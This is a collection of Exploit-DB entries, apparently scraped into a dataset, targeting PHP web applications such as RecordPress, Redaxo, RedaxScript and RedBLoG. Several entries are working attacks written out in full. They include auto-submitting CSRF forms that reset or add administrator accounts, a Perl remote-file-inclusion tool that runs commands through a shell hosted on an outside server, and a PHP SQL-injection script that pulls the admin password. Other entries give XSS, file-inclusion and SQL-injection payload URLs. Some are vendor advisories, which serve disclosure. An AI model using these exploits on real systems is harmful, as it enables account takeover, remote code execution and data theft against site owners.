deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16950
Description: recordpress 0.3.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-09
Author: Khashayar Fereidani

Exploit:
----------------------------------------------------------------
WebApplication : RecordPress 0.3.1
Type of vunlnerability : CSRF ( Change Admin Password ) And XSS
Risk of use : Medium
----------------------------------------------------------------
Producer Website : http://www.recordpress.org/
----------------------------------------------------------------
Discovered by : Khashayar Fereidani
Team Website : http://IRCRASH.COM
Team Members : Khashayar Fereidani - Sina YazdanMehr - Arash Allebrahim
English Forums : Http://IRCRASH.COM/forums/
Email : irancrash [ a t ] gmail [ d o t ] com
Facebook : http://facebook.com/fereidani
----------------------------------------------------------------

CSRF For Change Admin Password :

<html>
<head></head>
<body onLoad=javascript:document.form.submit()>

<form action="http://examplesite/admin/rp-settings-users-edit-db.php?id=1";

method="POST" name="form">

<input type="hidden" name="formusername" value="admin">

<input type="hidden" name="formname" value="admin">

<input type="hidden" name="formemail" value="email@pwnedpwnedpwned.sss">

<input type="hidden" name="formpass" value="password">

<input type="hidden" name="formpass2" value="password">

<input type="hidden" name="formadminstatus" value="2">

<input type="hidden" name="rp-settings-users-edit-db" value="Confirm+%BB">


</form>
</body>
</html>

------------------------------------------------

Cross Site Scripting Vulnerabilities :

http://examplesite/header.php?row[titledesc]=<script>alert(123)</script>
http://examplesite/admin/rp-menu.php?_SESSION[sess_user]=<script>alert(123)</script>
Exploit-DB #28721
Description: Red Mombin 0.7 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-22
Author: Armorize Technologies

Exploit:
source: https://www.securityfocus.com/bid/20243/info

Red Mombin is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Red Mombin version 0.7 is vulnerable to these issues.

http://www.example.com/[PATH]/index.php
Exploit-DB #28722
Description: Red Mombin 0.7 - 'process_login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-22
Author: Armorize Technologies

Exploit:
source: https://www.securityfocus.com/bid/20243/info
 
Red Mombin is prone to multiple cross-site scripting vulnerabilities because the application fails to sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
Red Mombin version 0.7 is vulnerable to these issues.

http://www.example.com/[PATH]/process_login.php
Exploit-DB #2534
Description: Redaction System 1.0 - 'lang_prefix' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-12
Author: r0ut3r

Exploit:
#!/usr/bin/perl

use LWP::UserAgent;

$target = @ARGV[0];
$shellsite = @ARGV[1];
$shellcmd = @ARGV[2];
$fileno = @ARGV[3];

if(!$target || !$shellsite)
{
    usage();
}

header();

if ($fileno eq 1)
{
    $file = " conn.php?lang_prefix=";
}
elsif ($fileno eq 2)
{
    $file = "index.php?lang=";
}
elsif ($fileno eq 3)
{
    $file = "sesscheck.php?lang_prefix=";
}
elsif ($fileno eq 4)
{
    $file = "wap/conn.php?lang_prefix=";
}
elsif ($fileno eq 5)
{
    $file = "wap/sesscheck.php?lang_prefix=";
}
else
{
    $file = "conn.php?lang_prefix=";
}

while()
{
    print "[cmd]\$";
    while (<STDIN>)
    {
        $cmd = $_;
        chomp($cmd);
print $target.'/'.$file.'='.$shellsite.'?&'.$shellcmd.'='.$cmd;
        $xpl = LWP::UserAgent->new() or die;
        $req = HTTP::Request->new(GET=>$target.'/'.$file.'='.$shellsite.'?&'.$shellcmd.'='.$cmd) or die("\n\n Failed to connect.");
        $res = $xpl->request($req);
        $rp = $res->content;
        $rp =~ tr/[\n]/[&#234;]/;
print $rp;
        if (!cmd)
        {
            print "\nEnter command: \n";
            $rp = "";
        }
        elsif ($rp=~/failed to open stream: HTTP request failed!/ || $rp=~/: Cannot execute a blank command in <b>/)
        {
            print "\nUnable to connect to Shellsite, or invalid command variable\n";
            exit;
        }
        elsif ($rp=~/^<br.\/>.<b>Warning/)
        {
            print "\nInvalid Command\n\n";
            exit;
        }
       
        if ($rp=~ /(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)
        {
            $final = $1;
            $final=~ tr/[&#234;]/[\n]/;
            print "\n$final\n";
        }
        else
        {
            print "[cmd]\$ ";
        }
    }
}

sub header()
{
    print q
    {
######################################################################
       Redaction System 1.0000 - Remote Include Exploit
        Vulnerability discovered and exploit by r0ut3r
               writ3r@gmail.com
          Special thanks to Warpboy's perl tutorial
             http://milw0rm.com/papers/85
######################################################################
    };
}

sub usage()
{
header();
    print q
    {
######################################################################
Usage:
perl rs_xpl.pl <Target website> <Shell Location> <CMD Variable> <No>
<Target Website> - Path to target eg: www.rsvuln.target.com
<Shell Location> - Path to shell eg: www.badserver.com/s.txt
<CMD Variable> - Shell command variable name eg: cmd
<No> - File number, corresponding to:
1: conn.php
2: index.php
3: sesscheck.php
4: wap/conn.php
5: wap/sesscheck.php
######################################################################
    };
exit();
}

# milw0rm.com [2006-10-12]
Exploit-DB #1861
Description: Redaxo 3.2 - 'INCLUDE_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: beford

Exploit:
Script: Redaxo CMS
Vendor: http://www.redaxo.de
Discovered: beford <xbefordx gmail com>

Redaxo 3.2 - 3.1 - 3.0

./redaxo/include/addons/image_resize/pages/index.inc.php?REX[INCLUDE_PATH]=attacker

Redaxo 3.0

./redaxo3_0_demos_patched/redaxo/include/addons/image_resize/pages/index.inc.php?subpage=relations&REX[INCLUDE_PATH]=attacker
./redaxo3_0_demos_patched/redaxo/include/addons/simple_user/pages/index.inc.php?REX[INCLUDE_PATH]=attacker
./redaxo3_0_demos_patched/redaxo/include/addons/stats/pages/index.inc.php?REX[INCLUDE_PATH]=attacker

Redaxo 2.7.4

./redaxo/include/addons/import_export/pages/index.inc.php?REX[INCLUDE_PATH]=attacker
./redaxo/include/pages/community.inc.php?subpage=newsletter&REX[INCLUDE_PATH]=attacker

# milw0rm.com [2006-06-02]
Exploit-DB #39459
Description: Redaxo 5.0.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-02-17
Author: LSE Leading Security Experts GmbH

Exploit:
=== LSE Leading Security Experts GmbH - Security Advisory 2016-01-18 ===

Redaxo CMS contains multiple vulnerabilities
-------------------------------------------------------------

Problem Overview
================
Technical Risk: high
Likelihood of Exploitation: medium
Vendor: https://www.redaxo.org/
Tested version: Redaxo CMS v5.0.0
Credits: LSE Leading Security Experts GmbH employee Tim Herres
Advisory URL: https://www.lsexperts.de/advisories/lse-2016-01-18.txt
Advisory Status: Public
CVE-Number: na

Impact
======
Redaxo is an easy to use open source content management system. A user can create his own website using the Redaxo CMS.
During internal research, multiple vulnerabilities were identified in the Redaxo CMS software.
The software is vulnerable to an SQL-Injection attack, allowing an authenticated user to access the database in an unsafe way.
Some parts of the application do not have sufficient input validation and output encoding. This means user supplied input is inserted in an unsafe way
resulting in a Cross Site Scripting vulnerability.

Issue Description
=================
The following vulnerabilities are only examples. It is highly recommended to check the whole application for similar vulnerabilities.
1) SQL Injection in the "Mediapool" component:
Authentication required: yes
User needs access to the "Mediapool".

POC:
Exploitation using SQL Map
sqlmap -u "https://127.0.0.1/redaxo/index.php?page=mediapool%2fmedia&rex_file_category=0&media_name=blub&undefined=%0d" --cookie="PHPSESSID=h9s74l660iongtg71bpkjup0d1" -p media_name

Parameter: media_name (GET)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: page=mediapool/media&rex_file_category=0&media_name=test');(SELECT * FROM (SELECT(SLEEP(5)))jbWV)#&undefined=

2) Reflected XSS
Authentication required: yes
Used browser: FF42
Example:
https://127.0.0.1/redaxo/index.php?page=mediapool/media&info=Datei+tot.<script>alert("xss");</script>&opener_input_field=

3) Stored XSS (persistent XSS)
Authentication required: yes
Used browser: FF42
It is possible to store JavaScript Code in input fields.
Example:
Menu --> "Mediapool" --> "Media Category Managing" --> Add --> Name field
Payload:<script>alert("xss")</script>
Response:
[...]
[...]href="index.php?page=mediapool/structure&cat_id=801"><script>alert("xss");</script></a></li></ol></div><section class="rex-page-sectio
[...]


Temporary Workaround and Fix
============================
Update to Version 5.0.1

History
=======
2016-01-18  Issues discovered
2016-01-29  Vendor contacted
2016-02-05  Vendor confirmed
2016-02-09  Vendor released patch
2016-02-16  Advisory released
Exploit-DB #40708
Description: Redaxo 5.2.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-11-03
Author: Amir.ght

Exploit:
# Exploit Title : redaxo CMS CSRF(Add Admin)
# Author : Ashiyane Digital Security Team
# Google Dork : intitle:Login · REDAXO
# Date :  1/11/2016
# Type : webapps
# Platform : PHP
# Vendor Homepage : http://www.redaxo.org/
# Software link :http://www.redaxo.org/de/download/file/?f=redaxo_5.2.0.zip
# Version : 5.2(latest)
#######################################################3
admin user : Attacker
admin [CREDENTIAL_REDACTED]
<html>
  <!-- CSRF PoC  -->
  <body>
    <form name="form0" action="http://localhost/redaxo_5.2.0/redaxo/index.php?page=users/users" method="POST">
      <input type="hidden" name="userlogin" value="Attacker" /> //  username
      <input type="hidden" name="username" value="Attacker" />
      <input type="hidden" name="userdesc" value="Atacker" />
      <input type="hidden" name="useremail" value="hhhhh@hhh.com" />// email
      <input type="hidden" name="useradmin" value="1" />
      <input type="hidden" name="userstatus" value="1" />
      <input type="hidden" name="userperm_be_sprache" value="en_gb" />
      <input type="hidden" name="userpsw" value="7c4a8d09ca3762af61e59520943dc26494f8941b" /> //123456
      <input type="hidden" name="function" value="1" />
      <input type="hidden" name="FUNC_ADD" value="1" />
      <input type="hidden" name="save" value="1" />
      <input type="hidden" name="javascript" value="1" />
      <input type="submit" name="submit_pass" value="Save" />
    </form>
  </body>
</html>

####################################################
######### exploit by: Amir.ght #####################
####################################################
Exploit-DB #44261
Description: Redaxo CMS Addon MyEvents 2.2.1 - SQL Injection
Type: webapps
Platform: php
Date: 2018-03-07
Author: h0n1gsp3cht

Exploit:
# Exploit Title: Redaxo CMS Addon MyEvents SQL Injection [ Backend ]
# Date: 01.03.2018
# Exploit Author: h0n1gsp3cht
# Vendor Homepage: http://www.github.com/wende60/myevents
# Version: 2.2.1 (Last Version)
# Tested on: LinuxMint
# More: Login Required
# GET

##############
Vuln Code [+] redaxo/src/addons/myevents/pages/event_add.php
##############

$myevents_id            =  strip_tags(rex_request('myevents_id', 'string'));

###############
POC
###############

http://127.0.0.1/redaxo/index.php?page=myevents/event_add&myevents_id=[SQL]
Exploit-DB #44891
Description: Redaxo CMS Mediapool Addon < 5.5.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2018-06-13
Author: h0n1gsp3cht

Exploit:
# Exploit Title: Redaxo CMS Mediapool Addon < 5.5.1 - Arbitrary File Upload
# Date: 2018-06-13
# Exploit Author: mn@HackerWerkstatt
# Vendor Homepage: https://redaxo.org
# Software Link: https://redaxo.org/download/redaxo/5.5.1.zip
# Version: 5.5.1 and older
# Tested on: LinuxMint
# More: Login required

### PoC ###

In the REDAXO CMS under version 5.6.0 the mediapool addon is vuln. Users who have an user-account, like editor, 
can use the mediapool to upload files. The mediapool addon under version 2.4.0 uses a blacklist for fileupload. 
For users it isn't possible upload files named: php, php4, php5, php6 or php7.

But, if you name the files like php71 or php53 the blacklist-function ignore this and upload of shellcode-file is possible.

https://example.com/redaxo/index.php?page=mediapool/media

### Fixed in mediapool 2.4.0 and Redaxo CMS 5.6.0
### reported: 08.03.2018
### fixed: 08.06.2018
Exploit-DB #8395
Description: RedaxScript 0.2.0 - 'Language' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-10
Author: SirGod

Exploit:
##################################################################################
[+] Redaxscript 0.2.0 (index.php language) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
##################################################################################

[+] Local File Inclusion

  index.php :

-----------------------------------------------------------------
include('template/'.$_SESSION[_root.'template'].'/index.php');
-----------------------------------------------------------------

  function.php :

-----------------------------------------------------------------
if($_GET['language']) {
		$_SESSION[_root.'language'] = $_GET['language'];
-----------------------------------------------------------------

 - PoC :

    http://127.0.0.1/index.php?language=../../../../../BOOTSECT.BAK%00

##################################################################################

# milw0rm.com [2009-04-10]
Exploit-DB #16096
Description: RedaxScript 0.3.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-02
Author: High-Tech Bridge SA

Exploit:
==================================
Vulnerability ID: HTB22805
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_redaxscript.html
Product: Redaxscript
Vendor: http://redaxscript.com/ ( http://redaxscript.com/ ) 
Vulnerable Version: 0.3.2
Vendor Notification: 18 January 2011 
Vulnerability Type: Path disclosure
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/templates/default/index.php" script, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.


http://[host]/templates/default/index.php

Solution: Upgrade to the most recent version



==================================
Vulnerability ID: HTB22804
Reference: http://www.htbridge.ch/advisory/sql_injection_in_redaxscript.html
Product: Redaxscript
Vendor: http://redaxscript.com/ ( http://redaxscript.com/ ) 
Vulnerable Version: 0.3.2
Vendor Notification: 18 January 2011 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/includes/password.php" script to properly sanitize user-supplied input in "id" & "password" variables.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.


1. Register new user
2. Reset password for this user with link http://[host]/reminder
3. Now open link from email. Link like http://[host]/password_reset/2/7c2fd13ae101cb21b9ab75692a29fd46
4. Send form and edit post variables with burp suite

POST /password_reset HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

task=1&id=2'SQL_CODE_HERE&password=1'SQL_CODE_HERE&solution=c4ca4238a0b923820dcc509a6f75849b&token=217cbb9548a07f9a5ac3181867aadeec&password_reset=Submit 

Solution: Upgrade to the most recent version
Exploit-DB #35840
Description: RedaxScript 2.1.0 - Privilege Escalation
Type: webapps
Platform: php
Date: 2015-01-20
Author: shyamkumar somana

Exploit:
​​​# Exploit Title: Privilege Escalation in RedaxScript 2.1.0
# Date: 11-05-2014
# Exploit Author: shyamkumar somana
# Vendor Homepage: http://redaxscript.com/
# Version: 2.1.0
# Tested on: Windows 8

#Privilege Escalation in RedaxScript 2.1.0


 RedaxScript 2.1.0 suffers from a privilege Escalation vulnerability. The
issue occurs because the application fails to properly implement access
controls. The application also fails to perform proper sanity checks on the
user supplied input before processing it.  These two flaws led to a
vertical privilege escalation. This can be achieved by a simply tampering
the parameter values. An attacker can exploit this issue to gain elevated
privileges to the application.

*Steps to reproduce the instance:*

·         login as a non admin user

·         Go to account and update the account.

·         intercept the request and add “*groups[]=1*” to the post data and
submit the request

·         Log out of the application and log in again. You can now browse
the application with admin privileges.

This vulnerability was addressed in the following commit.

https://github.com/redaxmedia/redaxscript/commit/bfe146f98aedb9d169ae092b49991ed1b3bc0860?diff=unified


*Timeline*:

09-26-2014:         Issue identified

09-27-2014:         Discussion with the vendor

10-27-2014:         Issue confirmed

11-05-2014:         Patch released.




Author:                                Shyamkumar Somana
Vendor Homepage:        http://redaxscript.com/download
Version:                               2.1.0
Tested on:                          Windows 7

-- 

  [image: --]
shyam kumar
[image: http://]about.me/shyamkumar.somana
     <http://about.me/shyamkumar.somana?promo=email_sig>

Shyamkumar Somana | +91 89513 38625 | twitter.com/0xshyam |
in.linkedin.com/in/sshyamkumar/ |
Exploit-DB #28612
Description: RedBLoG 0.5 - '/admin/config.php?root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-19
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20115/info
 
The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/admin/config.php?root_path=http://www.example.com
Exploit-DB #28614
Description: RedBLoG 0.5 - '/admin/index.php?root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-19
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20115/info
   
The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/admin/index.php?root_path=htpp://www.example.com
Exploit-DB #1567
Description: RedBLoG 0.5 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-08
Author: x128

Exploit:
<?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "ooooooooooooooooooooooooooooo redblog 0.5 exploit ooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php redblog-05-exploit.php [url]\n";
    echo "oo proxy support  $ php redblog-05-exploit.php [url] [proxy]:[port]\n";
    echo "oo example        $ php redblog-05-exploit.php http://localhost\n";
    echo "oo print the password of the administrator\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 09/03/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/modules/blog/rss.php";
    $xss_http_get = "?cat_id=x128";

    $xss_connection = curl_init();

    if ($_SERVER['argv'][2])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][2]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");
    
    preg_match("/FROM ([0-9a-zA-Z_]*)posts/", $xss_source, $xss_prefix);

    $xss_http_get = "?cat_id=" . urlencode("0 UNION SELECT 1,config_value,1,1,1,1,1,1 FROM " . $xss_prefix[1] . "general_config/*");
    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");
    preg_match("/<title>([0-9a-f]{32})<\/title>/", $xss_source, $xss_output);
    
    if ($xss_output[0])
    {
        echo "oo password       " . $xss_output[1] . "\n\n";
        echo "oo dafaced ...\n";
    }

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-03-08]
Exploit-DB #28613
Description: RedBLoG 0.5 - 'common.php?root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-19
Author: Root3r_H3ll

Exploit:
source: https://www.securityfocus.com/bid/20115/info
  
The redblog application is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/Path/common.php?root_path=http://www.example.com